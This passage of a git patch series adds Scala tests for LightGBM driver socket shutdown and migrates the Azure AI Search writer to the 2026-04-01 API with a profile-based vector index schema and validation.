assert(task.get.isClosedByDriver, "The unexpected server close leaked a task socket") + intercept[SocketException] { + manager.waitForNetworkCommunicationsDone() + } + } finally { + serverSocket.releaseFailure() + manager.closeConnections() + closeTasks(task) + } + } + + test("A socket accepted during shutdown is rejected before round registration") { + val serverSocket = new GateAfterAcceptServerSocket() + val (manager, _, port) = + newManager(numTasks = 1, useBarrierExecutionMode = true, serverSocket = serverSocket) + var task = Option.empty[FakeTask] + try { + task = Some(new FakeTask(host, port, partitionId = 0)) + task.get.report() + serverSocket.awaitAccepted() + + manager.closeConnections() + serverSocket.release() + + assert(task.get.isClosedByDriver, "The socket accepted during shutdown was retained") + manager.waitForNetworkCommunicationsDone() + assert(serverSocket.acceptedSocketIsClosed, "The driver did not close the accepted socket") + } finally { + serverSocket.release() + manager.closeConnections() + closeTasks(task) + } + } + + test("The legacy TaskMessageInfo constructors, extractor, and product shape remain unchanged") { + val message = TaskMessageInfo( + LightGBMConstants.EnabledTask, + "127.0.0.1", + LightGBMConstants.DefaultLocalListenPort, + 3, + "executor-1") + val generalMessage = new TaskMessageInfo(LightGBMConstants.FinishedStatus) + + val TaskMessageInfo(status, taskHost, listenPort, partitionId, executorId) = message + assert(status == LightGBMConstants.EnabledTask) + assert(taskHost == "127.0.0.1") + assert(listenPort == LightGBMConstants.DefaultLocalListenPort) + assert(partitionId == 3) + assert(executorId == "executor-1") + assert(message.productArity == 5) + assert(message.toString == + s"${LightGBMConstants.EnabledTask}:127.0.0.1:${LightGBMConstants.DefaultLocalListenPort}:3:executor-1") + assert(NetworkManager.parseWorkerMessage(s"${message.toString}:7") == message) + assert(generalMessage.isFinished) + assert(generalMessage.productArity == 5) + val constructorArities = classOf[TaskMessageInfo].getConstructors.map(_.getParameterCount).toSet + assert(constructorArities.contains(1)) + assert(constructorArities.contains(5)) + assert(!constructorArities.contains(6)) + } + + test("A worker that disconnects before sending a message reports the disconnect, not a NullPointerException") { + val failure = intercept[IOException](NetworkManager.parseWorkerMessage(null)) //scalastyle:ignore null + assert(failure.getMessage.contains("closed the connection before sending a status message")) + } + + test("The driver server socket is released when a training job fails before the round completes") { + // Only one of the two expected tasks reports, so the network thread stays blocked in accept(). + val (manager, _, port) = newManager(numTasks = 2, useBarrierExecutionMode = true) + var task = Option.empty[FakeTask] + try { + task = Some(new FakeTask(host, port, 0)) + task.get.report() + + // This is what executeTraining now does in its finally block when partition tasks fail. + manager.closeConnections() + + val retriedSocket = new Socket() + try { + intercept[ConnectException] { + retriedSocket.connect(new InetSocketAddress(host, port), socketTimeoutMillis) + } + } finally { + retriedSocket.close() + } + manager.waitForNetworkCommunicationsDone() + } finally { + manager.closeConnections() + closeTasks(task) + } + } +} From af254c69bbb1b8bd5c9d372bff80a94dcd64c155 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Tue, 11 Aug 2026 17:10:51 -0700 Subject: [PATCH 43/93] feat(search): migrate Azure AI Search to the 2026-04-01 API and profile-based vector schema (#2604) --- .pipelines/release-compat-prerequisites.txt | 3 + .../ml/services/search/AzureSearch.scala | 66 ++- .../ml/services/search/AzureSearchAPI.scala | 188 ++++++-- .../ml/services/search/AzureSearchAuth.scala | 6 +- .../services/search/AzureSearchSchemas.scala | 241 +++++++++- .../split1/SearchWriterSuitePart1.scala | 47 +- .../split2/SearchWriterSuitePart2.scala | 2 +- .../split2/VectorSchemaMigrationSuite.scala | 445 ++++++++++++++++++ .../AI Services/Overview.ipynb | 6 +- ...tart - Create a Visual Search Engine.ipynb | 8 +- ...ent Question and Answering with PDFs.ipynb | 23 +- ...kstart - Understand and Search Forms.ipynb | 8 +- .../transformers/cognitive/_AzureSearch.md | 2 +- pipeline.yaml | 92 ++++ tools/ci/tests/test_pipeline_yaml.py | 155 +++++- 15 files changed, 1209 insertions(+), 83 deletions(-) create mode 100644 .pipelines/release-compat-prerequisites.txt create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/VectorSchemaMigrationSuite.scala diff --git a/.pipelines/release-compat-prerequisites.txt b/.pipelines/release-compat-prerequisites.txt new file mode 100644 index 00000000000..d6f31a769cf --- /dev/null +++ b/.pipelines/release-compat-prerequisites.txt @@ -0,0 +1,3 @@ +# PR #2591 adds Azure AI Search AAD auth required by this change. +# Remove this prerequisite once every validated release branch contains that backport. +04897bae9baa08f0d67855566f7bad235791d508 diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala index 5a4817528a1..7535e170068 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala @@ -207,7 +207,7 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging } /** - * Converts date and timestamp columns to ISO8601 format strings as required by Azure Search. + * Converts date and timestamp columns to ISO8601 format strings as required by Azure AI Search. * * @param df DataFrame with potential date/time columns * @param indexJson JSON string containing the index schema @@ -278,6 +278,34 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging documents } + private def resolveIndexDefinition(existingIndexJsonOpt: Option[String], + indexJsonOpt: Option[String], + vectorColsInfo: Option[String], + df: DataFrame, + indexName: String, + keyCol: Option[String], + actionCol: String): (String, DataFrame) = { + existingIndexJsonOpt match { + case Some(existingIndexJson) => + val vectorColNameTypeTuple = getVectorColConf(existingIndexJson) + (existingIndexJson, makeColsCompatible(vectorColNameTypeTuple, df)) + case None => + indexJsonOpt match { + case Some(indexJson) => + val vectorColNameTypeTuple = getVectorColConf(indexJson) + (indexJson, makeColsCompatible(vectorColNameTypeTuple, df)) + case None => + val vectorCols = vectorColsInfo.map(parseVectorColsJson) + val vectorColNameTypeTuple = vectorCols + .map(_.map(vc => (vc.name, "Collection(Edm.Single)"))).getOrElse(Seq.empty) + val newDF = makeColsCompatible(vectorColNameTypeTuple, df) + val inferredIndexJson = dfToIndexJson( + newDF.schema, indexName, keyCol.getOrElse(""), actionCol, vectorCols) + (inferredIndexJson, newDF) + } + } + } + private def prepareDF(df: DataFrame, //scalastyle:ignore method.length options: Map[String, String] = Map()): DataFrame = { val applicableOptions = Set( @@ -316,30 +344,28 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging } } - val (indexJson, preppedDF) = if (getExisting(auth, serviceName, apiVersion).contains(indexName)) { + val existingIndexJsonOpt = if (getExisting(auth, serviceName, apiVersion).contains(indexName)) { if (indexJsonOpt.isDefined) { println(f"indexJsonOpt is specified, however an index for $indexName already exists," + f"we will use the index definition obtained from the existing index instead") } - val existingIndexJson = getIndexJsonFromExistingIndex(auth, serviceName, indexName, apiVersion) - val vectorColNameTypeTuple = getVectorColConf(existingIndexJson) - (existingIndexJson, makeColsCompatible(vectorColNameTypeTuple, df)) - } else if (indexJsonOpt.isDefined) { - val vectorColNameTypeTuple = getVectorColConf(indexJsonOpt.get) - (indexJsonOpt.get, makeColsCompatible(vectorColNameTypeTuple, df)) + val existingIndexJson = IndexJsonReader.get(auth, serviceName, indexName, apiVersion) + VectorSchema.requireCompatibleExistingIndex(existingIndexJson.parseJson, apiVersion) + Some(existingIndexJson) } else { - val vectorCols = vectorColsInfo.map(parseVectorColsJson) - val vectorColNameTypeTuple = vectorCols.map(_.map(vc => (vc.name, "Collection(Edm.Single)"))).getOrElse(Seq.empty) - val newDF = makeColsCompatible(vectorColNameTypeTuple, df) - val inferredIndexJson = dfToIndexJson(newDF.schema, indexName, keyCol.getOrElse(""), actionCol, vectorCols) - (inferredIndexJson, newDF) + None } + val (indexJson, preppedDF) = resolveIndexDefinition( + existingIndexJsonOpt, indexJsonOpt, vectorColsInfo, df, indexName, keyCol, actionCol) + // TODO: Support vector search in nested fields // Throws an exception if any nested field is a vector in the schema parseIndexJson(indexJson).fields.foreach(_.fields.foreach(assertNoNestedVectors)) - SearchIndex.createIfNoneExists(auth, serviceName, indexJson, apiVersion) + if (existingIndexJsonOpt.isEmpty) { + SearchIndex.createIfNoneExists(auth, serviceName, indexJson, apiVersion) + } val dateConvertedDF = convertDateTimeToISO8601(preppedDF, indexJson) logInfo("checking schema parity") @@ -354,7 +380,7 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging dateConvertedDF } - // Convert date/timestamp columns to ISO8601 strings for Azure Search + // Convert date/timestamp columns to ISO8601 strings for Azure AI Search val addDocuments = configureAuthentication( new AddDocuments() @@ -363,7 +389,11 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging .setActionCol(actionCol) .setBatchSize(batchSize) .setOutputCol("out") - .setErrorCol("error"), + .setErrorCol("error") + // Pin the document endpoint to the same api-version used to create/read the index, otherwise + // an explicit apiVersion option would only apply to the index APIs. + .setUrl(s"https://$serviceName.search.windows.net" + + s"/indexes/$indexName/docs/index?api-version=$apiVersion"), auth) addDocuments.transform(df1) @@ -373,7 +403,7 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging private def assertNoNestedVectors(fields: Seq[IndexField]): Unit = { def checkVectorField(field: IndexField): Unit = { - if (field.dimensions.nonEmpty && field.vectorSearchConfiguration.nonEmpty) { + if (field.isVectorField) { throw new IllegalArgumentException(s"Nested field ${field.name} is a vector field, vector fields in nested" + s" fields are not supported.") } @@ -384,7 +414,7 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging private def getVectorColConf(indexJson: String): Seq[(String, String)] = { parseIndexJson(indexJson).fields - .filter(f => f.vectorSearchConfiguration.nonEmpty && f.dimensions.nonEmpty) + .filter(_.isVectorField) .map(f => (f.name, f.`type`)) } private def makeColsCompatible(vectorColNameTypeTuple: Seq[(String, String)], diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAPI.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAPI.scala index 5114b8bb990..885b3e7d3eb 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAPI.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAPI.scala @@ -6,15 +6,53 @@ package com.microsoft.azure.synapse.ml.services.search import com.microsoft.azure.synapse.ml.services.search.AzureSearchProtocol._ import com.microsoft.azure.synapse.ml.io.http.RESTHelpers._ import org.apache.commons.io.IOUtils +import org.apache.http.client.methods.{CloseableHttpResponse, HttpRequestBase} import org.apache.log4j.{LogManager, Logger} import spray.json._ +import java.time.LocalDate +import java.time.format.DateTimeParseException import scala.util.{Failure, Success, Try} object AzureSearchAPIConstants { - val DefaultAPIVersion = "2023-07-01-Preview" + /** Latest generally available Azure AI Search (formerly Azure Cognitive Search) data plane API version. + * + * The previous default, `2023-07-01-Preview`, was deprecated on 2024-04-08 and has been out of + * support since 2024-07-08. + */ + val DefaultAPIVersion = "2026-04-01" val VectorConfigName = "vectorConfig" val VectorSearchAlgorithm = "hnsw" + + /** First API version that replaced `vectorSearch.algorithmConfigurations` with + * `vectorSearch.algorithms` + `vectorSearch.profiles`, and field-level + * `vectorSearchConfiguration` with `vectorSearchProfile`. + */ + val VectorProfileMinAPIVersion = "2023-10-01-Preview" + private val VectorProfileMinAPIDate = LocalDate.parse("2023-10-01") + private val APIVersion = """^(\d{4}-\d{2}-\d{2})(?:-[A-Za-z0-9.-]+)?$""".r + + /** True when the api-version expects the profile-based vector schema. + * + * API versions are parsed as `yyyy-MM-dd` optionally followed by a preview suffix. Invalid values + * fail before a request is sent rather than being assigned a schema generation by string ordering. + */ + def supportsVectorProfiles(apiVersion: String): Boolean = { + val version = Option(apiVersion).map(_.trim).filter(_.nonEmpty).getOrElse { + throw new IllegalArgumentException("Azure AI Search apiVersion must be non-empty") + } + val date = version match { + case APIVersion(dateText) => + try { + LocalDate.parse(dateText) + } catch { + case _: DateTimeParseException => + throw new IllegalArgumentException(s"Invalid Azure AI Search apiVersion: $apiVersion") + } + case _ => throw new IllegalArgumentException(s"Invalid Azure AI Search apiVersion: $apiVersion") + } + !date.isBefore(VectorProfileMinAPIDate) + } } import com.microsoft.azure.synapse.ml.services.search.AzureSearchAPIConstants._ @@ -49,6 +87,27 @@ trait IndexLister { } } +private[search] object IndexJsonReader { + def get(auth: AzureSearchAuth, + serviceName: String, + indexName: String, + apiVersion: String): String = { + read( + AzureSearchRequests.getIndex(auth, serviceName, indexName, apiVersion), + request => safeSend(request, close = false)) + } + + private[search] def read(request: HttpRequestBase, + send: HttpRequestBase => CloseableHttpResponse): String = { + val response = send(request) + try { + IOUtils.toString(response.getEntity.getContent, "utf-8") + } finally { + response.close() + } + } +} + trait IndexJsonGetter extends IndexLister { def getIndexJsonFromExistingIndex(key: String, serviceName: String, @@ -70,10 +129,44 @@ trait IndexJsonGetter extends IndexLister { val existingIndexNames = getExisting(auth, serviceName, apiVersion) assert(existingIndexNames.contains(indexName), s"Cannot find an existing index name with $indexName") - val response = safeSend( - AzureSearchRequests.getIndex(auth, serviceName, indexName, apiVersion), close = false) + IndexJsonReader.get(auth, serviceName, indexName, apiVersion) + } +} + +private[search] trait SearchIndexClient { + def getExisting(auth: AzureSearchAuth, serviceName: String, apiVersion: String): Seq[String] + + def getIndexJson(auth: AzureSearchAuth, + serviceName: String, + indexName: String, + apiVersion: String): String + + def createIndex(auth: AzureSearchAuth, + serviceName: String, + indexJson: String, + apiVersion: String): Int +} + +private object DefaultSearchIndexClient extends SearchIndexClient { + override def getExisting(auth: AzureSearchAuth, + serviceName: String, + apiVersion: String): Seq[String] = + SearchIndex.getExisting(auth, serviceName, apiVersion) + + override def getIndexJson(auth: AzureSearchAuth, + serviceName: String, + indexName: String, + apiVersion: String): String = + IndexJsonReader.get(auth, serviceName, indexName, apiVersion) + + override def createIndex(auth: AzureSearchAuth, + serviceName: String, + indexJson: String, + apiVersion: String): Int = { + val request = AzureSearchRequests.createIndex(auth, serviceName, indexJson, apiVersion) + val response = safeSend(request, close = false) try { - IOUtils.toString(response.getEntity.getContent, "utf-8") + response.getStatusLine.getStatusCode } finally { response.close() } @@ -103,56 +196,67 @@ object SearchIndex extends IndexParser with IndexLister { serviceName: String, indexJson: String, apiVersion: String): Unit = { + createIfNoneExists(auth, serviceName, indexJson, apiVersion, DefaultSearchIndexClient) + } + + private[search] def createIfNoneExists(auth: AzureSearchAuth, + serviceName: String, + indexJson: String, + apiVersion: String, + client: SearchIndexClient): Unit = { + AzureSearchAPIConstants.supportsVectorProfiles(apiVersion) val indexName = parseIndexJson(indexJson).name.get - val existingIndexNames = getExisting(auth, serviceName, apiVersion) + val existingIndexNames = client.getExisting(auth, serviceName, apiVersion) if (!existingIndexNames.contains(indexName)) { - val request = AzureSearchRequests.createIndex(auth, serviceName, prepareEntity(indexJson), apiVersion) - val response = safeSend(request, close = false) - try { - assert(response.getStatusLine.getStatusCode == 201) - } finally { - response.close() - } + val statusCode = client.createIndex(auth, serviceName, prepareEntity(indexJson, apiVersion), apiVersion) + assert(statusCode == 201) + } else { + val existingIndexJson = client.getIndexJson(auth, serviceName, indexName, apiVersion) + VectorSchema.requireCompatibleExistingIndex(existingIndexJson.parseJson, apiVersion) } } - private def prepareEntity(indexJson: String): String = { - validIndexJson(indexJson).get + private[search] def prepareEntity(indexJson: String, apiVersion: String): String = { + validIndexJson(indexJson, apiVersion).get } // validate schema - private def validIndexJson(indexJson: String): Try[String] = { - validateIndexInfo(indexJson).map(_.toJson.compactPrint) + private def validIndexJson(indexJson: String, apiVersion: String): Try[String] = { + Try(VectorSchema.align(indexJson.parseJson, apiVersion)).flatMap { aligned => + validateIndexInfo(aligned, apiVersion).map(_ => aligned.compactPrint) + } } - private def validateIndexInfo(indexJson: String): Try[IndexInfo] = { - val schema = parseIndexJson(indexJson) - for { - _ <- validName(schema.name.get) - _ <- validIndexFields(schema.fields) - } yield schema + private def validateIndexInfo(indexJson: JsValue, apiVersion: String): Try[IndexInfo] = { + Try(indexJson.convertTo[IndexInfo]).flatMap { schema => + for { + _ <- validName(schema.name.get) + _ <- validIndexFields(schema.fields, AzureSearchAPIConstants.supportsVectorProfiles(apiVersion)) + } yield schema + } } - private def validIndexField(field: IndexField): Try[IndexField] = { + private def validIndexField(field: IndexField, supportsVectorProfiles: Boolean): Try[IndexField] = { for { _ <- validName(field.name) _ <- validType(field.`type`, field.fields) - _ <- validSearchable(field.`type`, field.searchable) + _ <- validSearchable(field.`type`, field.searchable, field.dimensions, supportsVectorProfiles) _ <- validSortable(field.`type`, field.sortable) _ <- validFacetable(field.`type`, field.facetable) _ <- validKey(field.`type`, field.key) _ <- validAnalyzer(field.analyzer, field.searchAnalyzer, field.indexAnalyzer) _ <- validSearchAnalyzer(field.analyzer, field.searchAnalyzer, field.indexAnalyzer) _ <- validIndexAnalyzer(field.analyzer, field.searchAnalyzer, field.indexAnalyzer) - _ <- validVectorField(field.dimensions, field.vectorSearchConfiguration) + _ <- validVectorField(field.dimensions, field.vectorReference) // TODO: Fix and add back validSynonymMaps check. SynonymMaps needs to be Option[Seq[String]] type //_ <- validSynonymMaps(field.synonymMap) } yield field } - private def validIndexFields(fields: Seq[IndexField]): Try[Seq[IndexField]] = { - Try(fields.map(f => validIndexField(f).get)) + private def validIndexFields(fields: Seq[IndexField], + supportsVectorProfiles: Boolean): Try[Seq[IndexField]] = { + Try(fields.map(f => validIndexField(f, supportsVectorProfiles).get)) } private def validName(n: String): Try[String] = { @@ -166,8 +270,13 @@ object SearchIndex extends IndexParser with IndexLister { tdt.map(_ => t) } - private def validSearchable(t: String, s: Option[Boolean]): Try[Option[Boolean]] = { - if (Set("Edm.String", "Collection(Edm.String)")(t)) { + private def validSearchable(t: String, + s: Option[Boolean], + dimensions: Option[Int], + supportsVectorProfiles: Boolean): Try[Option[Boolean]] = { + if (dimensions.nonEmpty) { + validVectorSearchable(s, supportsVectorProfiles) + } else if (Set("Edm.String", "Collection(Edm.String)")(t)) { Success(s) } else if (s.contains(true)) { Failure(new IllegalArgumentException("Only Edm.String and Collection(Edm.String) fields can be searchable")) @@ -176,6 +285,23 @@ object SearchIndex extends IndexParser with IndexLister { } } + private def validVectorSearchable(s: Option[Boolean], + supportsVectorProfiles: Boolean): Try[Option[Boolean]] = { + if (supportsVectorProfiles) { + if (s.contains(true)) { + Success(s) + } else { + Failure(new IllegalArgumentException( + "Vector fields must set searchable=true for api-version 2023-10-01-Preview and later")) + } + } else if (s.contains(true)) { + Failure(new IllegalArgumentException( + "Legacy vector fields cannot set searchable=true; use api-version 2023-10-01-Preview or later")) + } else { + Success(s) + } + } + private def validSortable(t: String, s: Option[Boolean]): Try[Option[Boolean]] = { if (t == "Collection(Edm.String)" & s.contains(true)) { Failure(new IllegalArgumentException("Collection(Edm.String) fields cannot be sortable")) @@ -237,8 +363,8 @@ object SearchIndex extends IndexParser with IndexLister { private def validVectorField(d: Option[Int], v: Option[String]): Try[Option[String]] = { if ((d.isDefined && v.isEmpty) || (v.isDefined && d.isEmpty)) { - Failure(new IllegalArgumentException("Both dimensions and vectorSearchConfig fields need to be defined for " + - "vector search")) + Failure(new IllegalArgumentException("Both dimensions and vectorSearchProfile (or the legacy " + + "vectorSearchConfiguration) fields need to be defined for vector search")) } else { Success(v) } diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuth.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuth.scala index a1441cbd3c4..01e186bccb9 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuth.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchAuth.scala @@ -40,7 +40,7 @@ final case class AzureSearchAuth(subscriptionKey: Option[String] = None, } require( auth.subscriptionKey.nonEmpty || auth.aadToken.nonEmpty || auth.customAuthHeader.nonEmpty || customCredential, - "Azure Search authentication requires subscriptionKey, AADToken, CustomAuthHeader, " + + "Azure AI Search authentication requires subscriptionKey, AADToken, CustomAuthHeader, " + "or an api-key/Authorization custom header") auth } @@ -60,7 +60,7 @@ final case class AzureSearchAuth(subscriptionKey: Option[String] = None, auth.aadToken, auth.customAuthHeader, Option(auth.customHeaders).filter(_.nonEmpty), - None, // Azure Search management requests have no automatic Fabric fallback + None, // Azure AI Search management requests have no automatic Fabric fallback None, if (addContentType) Some("application/json") else None) } @@ -80,7 +80,7 @@ object AzureSearchAuth { // everywhere else) never conflicts with a valid sibling. Values are compared verbatim -- never // trimmed -- and the failure names only the option keys, never their (credential) values. val values = names.flatMap(options.get).filter(ServiceAuthHeaders.nonBlank).distinct - require(values.size <= 1, s"Conflicting Azure Search options: ${names.mkString(" and ")}") + require(values.size <= 1, s"Conflicting Azure AI Search options: ${names.mkString(" and ")}") values.headOption } diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchSchemas.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchSchemas.scala index 82ca48c256f..b38e9cf4d4b 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchSchemas.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchSchemas.scala @@ -5,7 +5,7 @@ package com.microsoft.azure.synapse.ml.services.search import com.microsoft.azure.synapse.ml.core.schema.SparkBindings import spray.json.DefaultJsonProtocol._ -import spray.json.{DefaultJsonProtocol, JsonFormat, RootJsonFormat} +import spray.json._ object ASResponses extends SparkBindings[ASResponses] @@ -52,7 +52,16 @@ case class IndexField( fields: Option[Seq[IndexField]], dimensions: Option[Int], vectorSearchConfiguration: Option[String] - ) + ) { + def vectorReference: Option[String] = vectorSearchConfiguration + + // A field is a vector field if it declares dimensions. The algorithm/profile reference + // describes *how* the vectors are indexed, not *whether* the field holds vectors, and the + // service does not always surface it: reading a legacy index under a modern api-version + // returns `dimensions` with a null `vectorSearchProfile` and an empty `profiles` list. + // Requiring a reference here would silently stop treating those fields as vectors. + def isVectorField: Boolean = dimensions.nonEmpty +} case class VectorColParams( name: String, @@ -100,12 +109,28 @@ case class IndexList(`@odata.context`: String, value: Seq[IndexName]) case class IndexName(name: String) object AzureSearchProtocol extends DefaultJsonProtocol { - implicit val IfEnc: JsonFormat[IndexField] = lazyFormat(jsonFormat( - IndexField,"name","type","searchable","filterable","sortable", - "facetable","retrievable", "key","analyzer","searchAnalyzer", "indexAnalyzer", "synonymMaps", "fields", - "dimensions", "vectorSearchConfiguration")) implicit val AcEnc: RootJsonFormat[AlgorithmConfigs] = jsonFormat2(AlgorithmConfigs.apply) - implicit val VsEnc: RootJsonFormat[VectorSearch] = jsonFormat1(VectorSearch.apply) + implicit val VsEnc: RootJsonFormat[VectorSearch] = { + val legacyFormat = jsonFormat1(VectorSearch.apply) + new RootJsonFormat[VectorSearch] { + override def read(json: JsValue): VectorSearch = + legacyFormat.read(VectorSchema.legacyVectorSearchView(json)) + + override def write(vectorSearch: VectorSearch): JsValue = legacyFormat.write(vectorSearch) + } + } + implicit val IfEnc: JsonFormat[IndexField] = { + val legacyFormat = lazyFormat(jsonFormat( + IndexField, "name", "type", "searchable", "filterable", "sortable", + "facetable", "retrievable", "key", "analyzer", "searchAnalyzer", "indexAnalyzer", "synonymMaps", "fields", + "dimensions", "vectorSearchConfiguration")) + new JsonFormat[IndexField] { + override def read(json: JsValue): IndexField = + legacyFormat.read(VectorSchema.legacyIndexFieldView(json)) + + override def write(field: IndexField): JsValue = legacyFormat.write(field) + } + } implicit val FfEnc: RootJsonFormat[FreshnessFunction] = jsonFormat1(FreshnessFunction.apply) implicit val MfEnc: RootJsonFormat[MagnitudeFunction] = jsonFormat3(MagnitudeFunction.apply) implicit val DfEnc: RootJsonFormat[DistanceFunction] = jsonFormat2(DistanceFunction.apply) @@ -119,3 +144,205 @@ object AzureSearchProtocol extends DefaultJsonProtocol { implicit val IlEnc: RootJsonFormat[IndexList] = jsonFormat2(IndexList.apply) implicit val VcpEnc: RootJsonFormat[VectorColParams] = jsonFormat2(VectorColParams.apply) } + +/** Translates index JSON between the two generations of the Azure AI Search vector schema. + * + * `2023-10-01-Preview` renamed `vectorSearch.algorithmConfigurations` to `vectorSearch.algorithms`, added + * `vectorSearch.profiles`, and replaced the field-level `vectorSearchConfiguration` with + * `vectorSearchProfile`. The public Scala case classes retain their original constructor and extractor + * shapes; REST payload modernization happens on the JSON AST so parameters, vectorizers, compressions, + * and fields introduced by future service versions are not discarded. + */ +private[search] object VectorSchema { + + private val LegacyAlgorithmsKey = "algorithmConfigurations" + private val ModernAlgorithmsKey = "algorithms" + private val ProfilesKey = "profiles" + private val LegacyFieldReferenceKey = "vectorSearchConfiguration" + private val ModernFieldReferenceKey = "vectorSearchProfile" + + def align(index: JsValue, apiVersion: String): JsValue = { + if (AzureSearchAPIConstants.supportsVectorProfiles(apiVersion)) toProfileSchema(index) + else toLegacySchema(index) + } + + def requireCompatibleExistingIndex(index: JsValue, apiVersion: String): Unit = { + val modern = AzureSearchAPIConstants.supportsVectorProfiles(apiVersion) + val legacyMarkers = vectorSearchContainsKey(index, LegacyAlgorithmsKey) || + containsFieldKey(index, LegacyFieldReferenceKey) + val modernMarkers = vectorSearchContainsKey(index, ModernAlgorithmsKey) || + vectorSearchContainsKey(index, ProfilesKey) || + containsFieldKey(index, ModernFieldReferenceKey) + + if (modern && legacyMarkers) { + throw new IllegalArgumentException( + "The index already exists with the legacy vector schema. createIfNoneExists does not update or migrate " + + "existing indexes. Migrate it with Azure AI Search Create or Update Index after reviewing the schema " + + "changes, or set an apiVersion earlier than 2023-10-01-Preview to keep using it as-is.") + } else if (!modern && modernMarkers) { + throw new IllegalArgumentException( + s"The index already exists with the profile-based vector schema, which is not supported by api-version " + + s"$apiVersion. Use apiVersion=2023-10-01-Preview or later.") + } + } + + private[search] def legacyVectorSearchView(json: JsValue): JsValue = + aliasForPublicModel(json, LegacyAlgorithmsKey, ModernAlgorithmsKey) + + private[search] def legacyIndexFieldView(json: JsValue): JsValue = + aliasForPublicModel(json, LegacyFieldReferenceKey, ModernFieldReferenceKey) + + private def aliasForPublicModel(json: JsValue, legacyKey: String, modernKey: String): JsValue = json match { + case JsObject(fields) => + (fields.get(legacyKey), fields.get(modernKey)) match { + case (Some(legacy), Some(modern)) if legacy != modern => + deserializationError(s"Conflicting $legacyKey and $modernKey values") + case (None, Some(modern)) => JsObject(fields - modernKey + (legacyKey -> modern)) + case _ => json + } + case _ => json + } + + private def toProfileSchema(index: JsValue): JsValue = index match { + case JsObject(indexFields) => + val (rewrittenVectorSearch, references) = indexFields.get("vectorSearch") match { + case Some(vectorSearch: JsObject) => modernizeVectorSearch(vectorSearch) + case Some(JsNull) | None => (indexFields.get("vectorSearch"), Map.empty[String, String]) + case Some(_) => throw new IllegalArgumentException("vectorSearch must be a JSON object") + } + val rewrittenFields = indexFields.get("fields").map(rewriteFields(_, references)) + JsObject(indexFields ++ rewrittenVectorSearch.map("vectorSearch" -> _) ++ rewrittenFields.map("fields" -> _)) + case _ => throw new IllegalArgumentException("Azure AI Search index JSON must be an object") + } + + private def modernizeVectorSearch(vectorSearch: JsObject): (Option[JsValue], Map[String, String]) = { + val fields = vectorSearch.fields + val upgradingLegacy = !fields.contains(ModernAlgorithmsKey) && fields.contains(LegacyAlgorithmsKey) + val algorithms = selectAlias(fields, ModernAlgorithmsKey, LegacyAlgorithmsKey) + val existingProfiles = fields.get(ProfilesKey).map(asArray(_, ProfilesKey)).getOrElse(Vector.empty) + val profileNames = existingProfiles.flatMap(profileValue(_, "name")).toSet + val profileByAlgorithm = existingProfiles.flatMap { profile => + for { + name <- profileValue(profile, "name") + algorithm <- profileValue(profile, "algorithm") + } yield algorithm -> name + }.toMap + + val generatedProfiles = if (upgradingLegacy) { + algorithms.toSeq.flatMap(asArray(_, ModernAlgorithmsKey)).flatMap { algorithm => + val algorithmName = objectString(algorithm, "name", ModernAlgorithmsKey) + if (profileByAlgorithm.contains(algorithmName)) { + None + } else if (profileNames.contains(algorithmName)) { + throw new IllegalArgumentException( + s"Cannot generate a vector profile for algorithm '$algorithmName' because that profile name is in use") + } else { + Some(JsObject("name" -> JsString(algorithmName), "algorithm" -> JsString(algorithmName))) + } + } + } else { + Seq.empty + } + val profiles = existingProfiles ++ generatedProfiles + val allProfileByAlgorithm = profiles.flatMap { profile => + for { + name <- profileValue(profile, "name") + algorithm <- profileValue(profile, "algorithm") + } yield algorithm -> name + }.toMap + val allProfileNames = profiles.flatMap(profileValue(_, "name")).toSet + val references = allProfileByAlgorithm ++ allProfileNames.map(name => name -> name) + + val rewritten = fields - LegacyAlgorithmsKey ++ algorithms.map(ModernAlgorithmsKey -> _) ++ + (if (profiles.nonEmpty) Some(ProfilesKey -> JsArray(profiles)) else None) + (Some(JsObject(rewritten)), references) + } + + private def toLegacySchema(index: JsValue): JsValue = { + if (vectorSearchContainsKey(index, ModernAlgorithmsKey) || vectorSearchContainsKey(index, ProfilesKey) || + containsFieldKey(index, ModernFieldReferenceKey)) { + throw new IllegalArgumentException( + "Profile-based vector JSON cannot be losslessly sent to a legacy Azure AI Search api-version. " + + "Use apiVersion=2023-10-01-Preview or later, or provide an explicit legacy definition using " + + "algorithmConfigurations and vectorSearchConfiguration.") + } + index + } + + private def rewriteFields(value: JsValue, + references: Map[String, String]): JsValue = value match { + case JsArray(fields) => JsArray(fields.map(rewriteField(_, references))) + case _ => throw new IllegalArgumentException("fields must be a JSON array") + } + + private def hasVectorDimensions(fields: Map[String, JsValue]): Boolean = + fields.get("dimensions").exists(_ != JsNull) + + private def rewriteField(value: JsValue, + references: Map[String, String]): JsValue = value match { + case JsObject(fields) => + val nested = 